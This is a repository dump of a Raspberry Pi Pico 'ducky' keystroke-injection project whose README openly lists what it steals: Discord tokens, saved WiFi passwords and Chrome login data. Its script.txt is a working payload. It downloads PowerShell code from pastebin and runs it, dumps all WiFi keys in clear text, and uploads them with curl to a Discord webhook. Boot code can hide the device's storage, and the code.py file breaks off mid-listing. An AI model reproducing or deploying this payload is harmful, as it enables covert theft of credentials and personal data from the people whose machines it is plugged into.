├── CONTRIBUTING.md ├── wfsec_haxor1337.ps1 ├── lib ├── asyncio │ ├── core.mpy │ ├── event.mpy │ ├── funcs.mpy │ ├── lock.mpy │ ├── task.mpy │ ├── __init__.mpy │ ├── manifest.mpy │ └── stream.mpy ├── adafruit_ticks.mpy ├── adafruit_debouncer.mpy ├── adafruit_hid │ ├── mouse.mpy │ ├── __init__.mpy │ ├── keyboard.mpy │ ├── keycode.mpy │ ├── consumer_control.mpy │ ├── keyboard_layout_us.mpy │ ├── keyboard_layout_base.mpy │ └── consumer_control_code.mpy ├── keycode_win_fi.py └── keyboard_layout_win_fi.py ├── boot_out.txt ├── .github └── ISSUE_TEMPLATE │ ├── custom.md │ ├── feature_request.md │ └── bug_report.md ├── boot.py ├── README.md ├── SECURITY.md ├── LICENSE ├── script.txt ├── CODE_OF_CONDUCT.md └── code.py /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | 321 2 | -------------------------------------------------------------------------------- /wfsec_haxor1337.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/wfsec_haxor1337.ps1 -------------------------------------------------------------------------------- /lib/asyncio/core.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/core.mpy -------------------------------------------------------------------------------- /lib/asyncio/event.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/event.mpy -------------------------------------------------------------------------------- /lib/asyncio/funcs.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/funcs.mpy -------------------------------------------------------------------------------- /lib/asyncio/lock.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/lock.mpy -------------------------------------------------------------------------------- /lib/asyncio/task.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/task.mpy -------------------------------------------------------------------------------- /lib/adafruit_ticks.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_ticks.mpy -------------------------------------------------------------------------------- /lib/asyncio/__init__.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/__init__.mpy -------------------------------------------------------------------------------- /lib/asyncio/manifest.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/manifest.mpy -------------------------------------------------------------------------------- /lib/asyncio/stream.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/asyncio/stream.mpy -------------------------------------------------------------------------------- /lib/adafruit_debouncer.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_debouncer.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/mouse.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/mouse.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/__init__.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/__init__.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/keyboard.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/keyboard.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/keycode.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/keycode.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/consumer_control.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/consumer_control.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/keyboard_layout_us.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/keyboard_layout_us.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/keyboard_layout_base.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/keyboard_layout_base.mpy -------------------------------------------------------------------------------- /lib/adafruit_hid/consumer_control_code.mpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfsecs/pico-ducky-script/HEAD/lib/adafruit_hid/consumer_control_code.mpy -------------------------------------------------------------------------------- /boot_out.txt: -------------------------------------------------------------------------------- 1 | Adafruit CircuitPython 7.3.3 on 2022-08-29; Raspberry Pi Pico with rp2040 2 | Board ID:raspberry_pi_pico 3 | boot.py output: 4 | USB drive enabled 5 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/custom.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Custom issue template 3 | about: Describe this issue template's purpose here. 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /boot.py: -------------------------------------------------------------------------------- 1 | from board import * 2 | import digitalio 3 | import storage 4 | 5 | noStorageStatus = False 6 | noStoragePin = digitalio.DigitalInOut(GP15) 7 | noStoragePin.switch_to_input(pull=digitalio.Pull.UP) 8 | noStorageStatus = not noStoragePin.value 9 | 10 | if(noStorageStatus == True): 11 | storage.disable_usb_drive() 12 | else: 13 | print("USB drive enabled") -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pico Ducky Script 2 | ## Steals so much stuff in under 1 minute 3 | # What it steals? 4 | - [x] IP Config 5 | - [x] Public IP and information about it 6 | - [x] System Information 7 | - [x] Partition Information 8 | - [x] Network information 9 | - [x] ARP Scans the network 10 | - [x] Everything WMIC Nic related 11 | - [x] Information about OS Accounts 12 | - [x] Shows DIR command output 13 | - [x] Discord token 14 | - [x] All saved WIFI Credentials 15 | - [x] Minecraft Launcher Accounts 16 | - [x] Google Chrome Login Data 17 | - [x] Google Chrome History 18 | # Educational purposes only. 19 | ### I am not responsible for any damage.. 20 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | Use this section to tell people about which versions of your project are 6 | currently being supported with security updates. 7 | 8 | | Version | Supported | 9 | | ------- | ------------------ | 10 | | 5.1.x | :white_check_mark: | 11 | | 5.0.x | :x: | 12 | | 4.0.x | :white_check_mark: | 13 | | < 4.0 | :x: | 14 | 15 | ## Reporting a Vulnerability 16 | 17 | Use this section to tell people how to report a vulnerability. 18 | 19 | Tell them where to go, how often they can expect to get an update on a 20 | reported vulnerability, what to expect if the vulnerability is accepted or 21 | declined, etc. 22 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 wfsec 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /script.txt: -------------------------------------------------------------------------------- 1 | GUI R 2 | 3 | DELAY 350 4 | STRING cmd 5 | DELAY 300 6 | 7 | ENTER 8 | DELAY 550 9 | STRING SET w=https://discord.com/api/webhooks/1064114721109852231/oFTDh57-adR3Yoixna2fZ-MI22-s16auMg3D4dJMDaE8yZIzegbwByYNid4_uyuZVb4E && mode con:cols=20 lines=20 && cls 10 | DELAY 50 11 | ENTER 12 | 13 | DELAY 500 14 | STRING echo $WebResponse = Invoke-WebRequest "https://pastebin.com/raw/tDxzPkTH" >script.ps1 && echo $string = $WebResponse.Content >script.ps1 >>script.ps1 && echo $code = $string.replace('312312webhook69-url321312','%w%') >>script.ps1 && echo $code ^| Out-File wfsec_haxor1337.ps1 >>script.ps1 && echo $WebResponse = Invoke-WebRequest "https://pastebin.com/raw/bdH4VDjL" >>script.ps1 && echo $script = $WebResponse.Content >>script.ps1 >>script.ps1 && echo $codescript = $script.replace('312ewb-hook-url-here321','%w%') >>script.ps1 && echo $codescript ^| Out-File -Encoding UTF8 xcvdwa.bat >>script.ps1 && cls 15 | ENTER 16 | DELAY 500 17 | 18 | STRING Powershell.exe -executionpolicy remotesigned -File script.ps1 19 | ENTER 20 | DELAY 2000 21 | 22 | STRING Powershell.exe -executionpolicy remotesigned -File wfsec_haxor1337.ps1 23 | ENTER 24 | DELAY 2000 25 | 26 | STRING exit 27 | ENTER 28 | DELAY 500 29 | 30 | GUI R 31 | DELAY 250 32 | STRING powershell 33 | DELAY 100 34 | ENTER 35 | 36 | DELAY 500 37 | STRING (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $env:TEMP\wifi.txt 38 | ENTER 39 | 40 | DELAY 500 41 | STRING exit 42 | ENTER 43 | 44 | DELAY 500 45 | GUI R 46 | DELAY 300 47 | STRING cmd 48 | DELAY 200 49 | ENTER 50 | DELAY 500 51 | 52 | STRING xcvdwa && cls 53 | DELAY 100 54 | ENTER 55 | DELAY 6000 56 | 57 | STRING curl -X POST -H "Content-Type: multipart/form-data" -F "file1=@%temp%/wifi.txt" https://discord.com/api/webhooks/1063949566031958068/vadCokbT1wlyfJz6DKJaVJA0Z7WZROQIatWhBKq1lqXMtmGph0l8_DBakShjdjypgtV8 58 | ENTER 59 | DELAY 500 60 | STRING exit 61 | ENTER -------------------------------------------------------------------------------- /lib/keycode_win_fi.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Neradoc NeraOnGit@ri1.fr 2 | # 3 | # SPDX-License-Identifier: MIT 4 | """ 5 | This file was automatically generated using Circuitpython_Keyboard_Layouts 6 | """ 7 | 8 | 9 | __version__ = "0.0.1-alpha.0" 10 | __repo__ = "https://github.com/Neradoc/Circuitpython_Keyboard_Layouts.git" 11 | 12 | 13 | class Keycode: 14 | A = 0x04 15 | B = 0x05 16 | C = 0x06 17 | D = 0x07 18 | E = 0x08 19 | F = 0x09 20 | G = 0x0a 21 | H = 0x0b 22 | I = 0x0c 23 | J = 0x0d 24 | K = 0x0e 25 | L = 0x0f 26 | M = 0x10 27 | N = 0x11 28 | O = 0x12 29 | P = 0x13 30 | Q = 0x14 31 | R = 0x15 32 | S = 0x16 33 | T = 0x17 34 | U = 0x18 35 | V = 0x19 36 | W = 0x1a 37 | X = 0x1b 38 | Y = 0x1c 39 | Z = 0x1d 40 | ALT = 0xe2 41 | END = 0x4d 42 | F1 = 0x3a 43 | F2 = 0x3b 44 | F3 = 0x3c 45 | F4 = 0x3d 46 | F5 = 0x3e 47 | F6 = 0x3f 48 | F7 = 0x40 49 | F8 = 0x41 50 | F9 = 0x42 51 | F10 = 0x43 52 | F11 = 0x44 53 | F12 = 0x45 54 | F13 = 0x68 55 | F14 = 0x69 56 | F15 = 0x6a 57 | F16 = 0x6b 58 | F17 = 0x6c 59 | F18 = 0x6d 60 | F19 = 0x6e 61 | F20 = 0x6f 62 | F21 = 0x70 63 | F22 = 0x71 64 | F23 = 0x72 65 | F24 = 0x73 66 | GUI = 0xe3 67 | ONE = 0x1e 68 | SIX = 0x23 69 | TAB = 0x2b 70 | TWO = 0x1f 71 | FIVE = 0x22 72 | FOUR = 0x21 73 | HOME = 0x4a 74 | NINE = 0x26 75 | ZERO = 0x27 76 | ALTGR = 0xe6 77 | COMMA = 0x36 78 | EIGHT = 0x25 79 | ENTER = 0x28 80 | MINUS = 0x38 81 | PAUSE = 0x48 82 | QUOTE = 0x34 83 | SEVEN = 0x24 84 | SHIFT = 0xe1 85 | SPACE = 0x2c 86 | THREE = 0x20 87 | TILDE = 0x30 88 | AKUUTTIAKSENTTI = 0x2e 89 | APPLICATION = 0x65 90 | BACKSLASH = 0x35 91 | BACKSPACE = 0x2a 92 | CAPS_LOCK = 0x39 93 | COMMAND = 0xe3 94 | CONTROL = 0xe0 95 | DELETE = 0x4c 96 | DOWN_ARROW = 0x51 97 | EQUALS = 0x2d 98 | ESCAPE = 0x29 99 | FORWARD_SLASH = 0x31 100 | GRAVE_ACCENT = 0x33 101 | GRAVISAKSENTTI = 0x2e 102 | INSERT = 0x49 103 | KEYPAD_ASTERISK = 0x55 104 | KEYPAD_EIGHT = 0x60 105 | KEYPAD_FIVE = 0x5d 106 | KEYPAD_FORWARD_SLASH = 0x54 107 | KEYPAD_FOUR = 0x5c 108 | KEYPAD_MINUS = 0x56 109 | KEYPAD_NINE = 0x61 110 | KEYPAD_NUMLOCK = 0x53 111 | KEYPAD_ONE = 0x59 112 | KEYPAD_PERIOD = 0x63 113 | KEYPAD_PLUS = 0x57 114 | KEYPAD_SEVEN = 0x5f 115 | KEYPAD_SIX = 0x5e 116 | KEYPAD_THREE = 0x5b 117 | KEYPAD_TWO = 0x5a 118 | KEYPAD_ZERO = 0x62 119 | LEFT_ALT = 0xe2 120 | LEFT_ARROW = 0x50 121 | LEFT_BRACKET = 0x2e 122 | LEFT_CONTROL = 0xe0 123 | LEFT_GUI = 0xe3 124 | LEFT_SHIFT = 0xe1 125 | OEM_102 = 0x64 126 | OPTION = 0xe2 127 | PAGE_DOWN = 0x4e 128 | PAGE_UP = 0x4b 129 | PERIOD = 0x37 130 | PRINT_SCREEN = 0x46 131 | RETURN = 0x28 132 | RIGHT_ALT = 0xe6 133 | RIGHT_ARROW = 0x4f 134 | RIGHT_BRACKET = 0x2f 135 | RIGHT_CONTROL = 0xe4 136 | RIGHT_GUI = 0xe7 137 | RIGHT_SHIFT = 0xe5 138 | SCROLL_LOCK = 0x47 139 | SEMICOLON = 0x30 140 | SIRKUMFLEKSI = 0x30 141 | SPACEBAR = 0x2c 142 | TREEMA = 0x30 143 | UP_ARROW = 0x52 144 | WINDOWS = 0xe3 145 | 146 | @classmethod 147 | def modifier_bit(cls, keycode): 148 | """Return the modifer bit to be set in an HID keycode report if this is a 149 | modifier key; otherwise return 0.""" 150 | return ( 151 | 1 << (keycode - 0xE0) if cls.LEFT_CONTROL <= keycode <= cls.RIGHT_GUI else 0 152 | ) 153 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | Discord. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /lib/keyboard_layout_win_fi.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Neradoc NeraOnGit@ri1.fr 2 | # 3 | # SPDX-License-Identifier: MIT 4 | """ 5 | This file was automatically generated using Circuitpython_Keyboard_Layouts 6 | """ 7 | from adafruit_hid.keyboard_layout_base import KeyboardLayoutBase 8 | 9 | 10 | __version__ = "0.0.1-alpha.0" 11 | __repo__ = "https://github.com/Neradoc/Circuitpython_Keyboard_Layouts.git" 12 | 13 | 14 | class KeyboardLayout(KeyboardLayoutBase): 15 | ASCII_TO_KEYCODE = ( 16 | b'\x00' 17 | b'\x00' 18 | b'\x00' 19 | b'\x00' 20 | b'\x00' 21 | b'\x00' 22 | b'\x00' 23 | b'\x00' 24 | b'\x2a' # BACKSPACE 25 | b'\x2b' # '\t' 26 | b'\x28' # '\n' 27 | b'\x00' 28 | b'\x00' 29 | b'\x00' 30 | b'\x00' 31 | b'\x00' 32 | b'\x00' 33 | b'\x00' 34 | b'\x00' 35 | b'\x00' 36 | b'\x00' 37 | b'\x00' 38 | b'\x00' 39 | b'\x00' 40 | b'\x00' 41 | b'\x00' 42 | b'\x00' 43 | b'\x29' # ESC 44 | b'\x00' 45 | b'\x00' 46 | b'\x00' 47 | b'\x00' 48 | b'\x2c' # ' ' 49 | b'\x9e' # '!' 50 | b'\x9f' # '"' 51 | b'\xa0' # '#' 52 | b'\x21' # '$' 53 | b'\xa2' # '%' 54 | b'\xa3' # '&' 55 | b'\x31' # "'" 56 | b'\xa5' # '(' 57 | b'\xa6' # ')' 58 | b'\xb1' # '*' 59 | b'\x2d' # '+' 60 | b'\x36' # ',' 61 | b'\x38' # '-' 62 | b'\x37' # '.' 63 | b'\xa4' # '/' 64 | b'\x27' # '0' 65 | b'\x1e' # '1' 66 | b'\x1f' # '2' 67 | b'\x20' # '3' 68 | b'\x21' # '4' 69 | b'\x22' # '5' 70 | b'\x23' # '6' 71 | b'\x24' # '7' 72 | b'\x25' # '8' 73 | b'\x26' # '9' 74 | b'\xb7' # ':' 75 | b'\xb6' # ';' 76 | b'\x64' # '<' 77 | b'\xa7' # '=' 78 | b'\xe4' # '>' 79 | b'\xad' # '?' 80 | b'\x1f' # '@' 81 | b'\x84' # 'A' 82 | b'\x85' # 'B' 83 | b'\x86' # 'C' 84 | b'\x87' # 'D' 85 | b'\x88' # 'E' 86 | b'\x89' # 'F' 87 | b'\x8a' # 'G' 88 | b'\x8b' # 'H' 89 | b'\x8c' # 'I' 90 | b'\x8d' # 'J' 91 | b'\x8e' # 'K' 92 | b'\x8f' # 'L' 93 | b'\x90' # 'M' 94 | b'\x91' # 'N' 95 | b'\x92' # 'O' 96 | b'\x93' # 'P' 97 | b'\x94' # 'Q' 98 | b'\x95' # 'R' 99 | b'\x96' # 'S' 100 | b'\x97' # 'T' 101 | b'\x98' # 'U' 102 | b'\x99' # 'V' 103 | b'\x9a' # 'W' 104 | b'\x9b' # 'X' 105 | b'\x9c' # 'Y' 106 | b'\x9d' # 'Z' 107 | b'\x25' # '[' 108 | b'\x2d' # '\\' 109 | b'\x26' # ']' 110 | b'\x00' 111 | b'\xb8' # '_' 112 | b'\x00' 113 | b'\x04' # 'a' 114 | b'\x05' # 'b' 115 | b'\x06' # 'c' 116 | b'\x07' # 'd' 117 | b'\x08' # 'e' 118 | b'\x09' # 'f' 119 | b'\x0a' # 'g' 120 | b'\x0b' # 'h' 121 | b'\x0c' # 'i' 122 | b'\x0d' # 'j' 123 | b'\x0e' # 'k' 124 | b'\x0f' # 'l' 125 | b'\x10' # 'm' 126 | b'\x11' # 'n' 127 | b'\x12' # 'o' 128 | b'\x13' # 'p' 129 | b'\x14' # 'q' 130 | b'\x15' # 'r' 131 | b'\x16' # 's' 132 | b'\x17' # 't' 133 | b'\x18' # 'u' 134 | b'\x19' # 'v' 135 | b'\x1a' # 'w' 136 | b'\x1b' # 'x' 137 | b'\x1c' # 'y' 138 | b'\x1d' # 'z' 139 | b'\x24' # '{' 140 | b'\x64' # '|' 141 | b'\x27' # '}' 142 | b'\x00' # '~' (Dead key) 143 | b'\x00' 144 | ) 145 | NEED_ALTGR = '$@[\\]{|}£µ€' 146 | HIGHER_ASCII = { 147 | 0xa3: 0x20, # '£' 148 | 0xa4: 0xa1, # '¤' 149 | 0x20ac: 0x22, # '€' 150 | 0xe5: 0x2f, # 'å' 151 | 0xc5: 0xaf, # 'Å' 152 | 0xf6: 0x33, # 'ö' 153 | 0xd6: 0xb3, # 'Ö' 154 | 0xe4: 0x34, # 'ä' 155 | 0xc4: 0xb4, # 'Ä' 156 | 0xa7: 0x35, # '§' 157 | 0xbd: 0xb5, # '½' 158 | 0xb5: 0x10, # 'µ' 159 | } 160 | COMBINED_KEYS = { 161 | 0xe1: 0x2e61, # 'á' 162 | 0xe9: 0x2e65, # 'é' 163 | 0xed: 0x2e69, # 'í' 164 | 0xf3: 0x2e6f, # 'ó' 165 | 0xfa: 0x2e75, # 'ú' 166 | 0xfd: 0x2e79, # 'ý' 167 | 0xc1: 0x2e41, # 'Á' 168 | 0xc9: 0x2e45, # 'É' 169 | 0xcd: 0x2e49, # 'Í' 170 | 0xd3: 0x2e4f, # 'Ó' 171 | 0xda: 0x2e55, # 'Ú' 172 | 0xdd: 0x2e59, # 'Ý' 173 | 0xb4: 0x2e20, # '´' 174 | 0xe0: 0xae61, # 'à' 175 | 0xe8: 0xae65, # 'è' 176 | 0xec: 0xae69, # 'ì' 177 | 0xf2: 0xae6f, # 'ò' 178 | 0xf9: 0xae75, # 'ù' 179 | 0xc0: 0xae41, # 'À' 180 | 0xc8: 0xae45, # 'È' 181 | 0xcc: 0xae49, # 'Ì' 182 | 0xd2: 0xae4f, # 'Ò' 183 | 0xd9: 0xae55, # 'Ù' 184 | 0x60: 0xae20, # '`' 185 | 0xe4: 0x3061, # 'ä' 186 | 0xeb: 0x3065, # 'ë' 187 | 0xef: 0x3069, # 'ï' 188 | 0xf6: 0x306f, # 'ö' 189 | 0xfc: 0x3075, # 'ü' 190 | 0xff: 0x3079, # 'ÿ' 191 | 0xc4: 0x3041, # 'Ä' 192 | 0xcb: 0x3045, # 'Ë' 193 | 0xcf: 0x3049, # 'Ï' 194 | 0xd6: 0x304f, # 'Ö' 195 | 0xdc: 0x3055, # 'Ü' 196 | 0xa8: 0x3020, # '¨' 197 | 0xe2: 0xb061, # 'â' 198 | 0xea: 0xb065, # 'ê' 199 | 0xee: 0xb069, # 'î' 200 | 0xf4: 0xb06f, # 'ô' 201 | 0xfb: 0xb075, # 'û' 202 | 0xc2: 0xb041, # 'Â' 203 | 0xca: 0xb045, # 'Ê' 204 | 0xce: 0xb049, # 'Î' 205 | 0xd4: 0xb04f, # 'Ô' 206 | 0xdb: 0xb055, # 'Û' 207 | 0x5e: 0xb020, # '^' 208 | 0xe3: 0x30e1, # 'ã' 209 | 0xf5: 0x30ef, # 'õ' 210 | 0xf1: 0x30ee, # 'ñ' 211 | 0xc3: 0x30c1, # 'Ã' 212 | 0xd5: 0x30cf, # 'Õ' 213 | 0xd1: 0x30ce, # 'Ñ' 214 | 0x7e: 0x30a0, # '~' 215 | } 216 | -------------------------------------------------------------------------------- /code.py: -------------------------------------------------------------------------------- 1 | import usb_hid 2 | from adafruit_hid.keyboard import Keyboard 3 | from keyboard_layout_win_fi import KeyboardLayout 4 | from keycode_win_fi import Keycode 5 | import supervisor 6 | import time 7 | import digitalio 8 | from digitalio import DigitalInOut, Pull 9 | from adafruit_debouncer import Debouncer 10 | from board import * 11 | import pwmio 12 | import asyncio 13 | 14 | led = pwmio.PWMOut(LED, frequency=5000, duty_cycle=0) 15 | 16 | def led_pwm_up(led): 17 | for i in range(100): 18 | if i < 50: 19 | led.duty_cycle = int(i * 2 * 65535 / 100) # Up 20 | time.sleep(0.01) 21 | def led_pwm_down(led): 22 | for i in range(100): 23 | if i >= 50: 24 | led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down 25 | time.sleep(0.01) 26 | 27 | duckyCommands = { 28 | 'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI, 29 | 'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT, 30 | 'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL, 31 | 'DOWNARROW': 